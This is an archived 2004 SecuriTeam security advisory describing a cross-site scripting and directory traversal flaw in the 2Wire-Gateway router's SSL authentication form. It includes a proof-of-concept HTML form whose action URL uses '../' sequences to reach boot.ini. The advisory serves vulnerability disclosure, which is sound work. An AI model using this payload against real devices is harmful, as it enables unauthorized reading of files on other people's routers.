

[NT] 2Wire-Gateway Cross Site Scripting And Directory Transversal Bug In SSL Form

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0071.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/22/04

To: list@securiteam.com

Date: 22 Jan 2004 17:12:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

2Wire-Gateway Cross Site Scripting And Directory Transversal Bug In SSL Form

SUMMARY

<<http://www.2wire.com>> 2Wire "is a communication company that sells internet and network related devices, such as routers. 2Wire most common routers' webserver is "2Wire-Gateway". It includes an SSL (Secure Sockets Layer) form of authentication.

The SSL (Secure Sockets Layer) form authentication has an XSS (Cross Site Scripting) condition that allows an attacker to change form action parameters. An attacker is able to inject scripts or URLs thereby enabling him/her to traverse directories on the server.

DETAILS

Vulnerable Systems:

* All versions

The SSL authentication form has a security vulnerability which allows a remote attacker to change the form parameters. An attacker is able to inject scripts and URLs and thereby traverse the directory structure on

Securiteam: [NT] 2Wire-Gateway Cross Site Scripting And Directory Transversal Bug In SSL Form

the server. This allows in turn to view and download any local file. However, the issue is hard to exploit as the attacker has to connect to the target through the browser and accept the SSL connection.

#####

=====

3) The Code

=====

```
< form name="wralogin" method="get"
action="http://<
host>/wra/public/wralogin/?error=61&return=password/../../..
../boot.ini">
< input type="hidden" name="authcode" value="MUQmqC/sBiXfsIfYEooIJg==">
< center>
< input type="password" name="password" value="">
< input type="submit" alt="Submit" width="58" height="19" border="0"><
/td>
< /form>
< /body>
< /html>
```

#####

ADDITIONAL INFORMATION

The information has been provided by <mailto:the_insider at mail.com>
Rafel Ivgi, The-Insider

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.